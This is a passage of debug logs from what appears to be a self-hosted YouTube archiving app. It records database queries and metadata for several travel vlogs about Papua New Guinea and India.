m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:47.481 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18985] 20:00:47.481 [debug] Current batch of media processed. Will check again in 1000ms 20:00:47.937 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:48.482 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1815, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", "id" => "Xt-ikXQ-UxE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "playlist_index" => 11, "timestamp" => 1773422223, "title" => "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "upload_date" => "20260313"} 20:00:48.483 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:48.483 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:48.484 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 20:00:48.485 [debug] QUERY OK source="media_items" db=0.8ms idle=546.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "9ce83c00-de98-415e-8482-db9c95b3ba24", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 03:00:48Z], ~U[2026-08-20 03:00:48Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 20:00:48.485 [debug] QUERY OK source="sources" db=0.2ms idle=48.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:48.486 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:48.486 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18986] 20:00:48.486 [debug] Current batch of media processed. Will check again in 1000ms 20:00:49.487 [debug] Current batch of media processed. Will check again in 1000ms 20:00:50.488 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2626, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", "id" => "xNeD65kGXlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xNeD65kGXlU", "playlist_index" => 12, "timestamp" => 1772809517, "title" => "I've Never Travelled Somewhere Like This (Remote PNG)", "upload_date" => "20260306"} 20:00:50.489 [debug] QUERY OK source="sources" db=0.2ms idle=706.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:50.489 [debug] QUERY OK source="sources" db=0.1ms idle=706.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:50.490 [debug] QUERY OK source="media_items" db=0.2ms idle=707.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 20:00:50.491 [debug] QUERY OK source="media_items" db=0.7ms idle=707.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "38c47757-b90f-4f88-8058-4c89cafc485c", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 03:00:50Z], ~U[2026-08-20 03:00:50Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 20:00:50.491 [debug] QUERY OK source="sources" db=0.1ms idle=51.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:50.491 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:50.492 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18987] 20:00:50.492 [debug] Current batch of media processed. Will check again in 1000ms 20:00:51.493 [debug] Current batch of media processed. Will check again in 1000ms 20:00:52.494 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1993, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", "id" => "sVlpZ6zLXh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "playlist_index" => 13, "timestamp" => 1772204684, "title" => "Entering Papua New Guinea Alone in 2026", "upload_date" => "20260227"} 20:00:52.495 [debug] QUERY OK source="sources" db=0.2ms idle=712.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:52.495 [debug] QUERY OK source="sources" db=0.1ms idle=712.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:52.495 [debug] QUERY OK source="media_items" db=0.2ms idle=713.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 20:00:52.501 [debug] QUERY OK source="media_items" db=5.5ms idle=713.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "30c8bd8c-c8af-4e40-9df4-dfcd10e44366", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 03:00:52Z], ~U[2026-08-20 03:00:52Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 20:00:52.502 [debug] QUERY OK source="sources" db=0.2ms idle=60.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:52.502 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:52.502 [debug] QUERY OK source="media_items" db=0.2ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18988] 20:00:52.503 [debug] Current batch of media processed. Will check again in 1000ms 20:00:53.503 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "duration" => 2973, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", "id" => "W4ZERiu8IMs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4ZERiu8IMs", "playlist_index" => 14, "timestamp" => 1769871228, "title" => "They're Lying to You About India...", "upload_date" => "20260131"} 20:00:53.504 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:53.504 [debug] QUERY OK source="sources" db=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:53.505 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 20:00:53.506 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = 